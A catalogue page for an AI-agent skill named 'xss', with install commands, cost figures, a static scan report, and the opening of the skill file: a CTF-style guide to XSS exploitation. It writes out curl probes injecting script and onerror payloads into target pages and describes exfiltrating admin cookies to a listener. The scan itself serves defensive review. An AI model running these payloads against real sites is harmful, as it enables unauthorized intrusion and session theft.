Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill xssgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/xss)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/xss"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/xss/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/xss"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/xss.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00073 | $0.04594 |
| Opus 5 | $0.00036 | $0.02297 |
| Sonnet 5 | $0.00015 | $0.00919 |
| Haiku 4.5 | $0.00007 | $0.00459 |
Grade B, and why
xss scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>' Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross) This is a copy
88% identical to xss — 45 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 347 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cross-Site Scripting (XSS) Exploitation
Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.
Win Condition — Identify FIRST
Pattern A — Bot/Cookie Chain (classic CTF):
- A headless browser bot visits a URL you supply via
/reportor/contact - Goal: exfiltrate
document.cookieor admin page content to your listener - Signals:
/reportendpoint exists, challenge mentions "admin visits", cookie in session
Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):
- NO bot, NO cookie exfiltration, NO
/reportendpoint (returns 404) - The challenge evaluates reflected JS server-side;
alert("XSS")oralert(1)in the response = flag - Flag appears directly in the HTTP response body when alert triggers
- Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag",
new_umbrella/error_umbrellain response, alphanumeric filter active - Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)
Quick check which pattern:
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals
Detection
# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'
# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context
# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'
# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'
Mingyi Atlas Browser Evidence Rule
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 347 lines · 73 tokens per session scan B 679c26c56db0
xss is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 73 tokens to every session and 4,594 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, downloads and executes remote code, makes network calls). It is 88% identical to xss, differing in 45 lines, and is treated as a copy.
Other skills, from other repositories
web-enumeration
../../../red-team/web-enumeration/SKILL.md.
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cis-aws-foundations-2.12
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cis-aws-foundations-2.5
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cis-aws-foundations-4.4
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cis-aws-foundations-6.1.2
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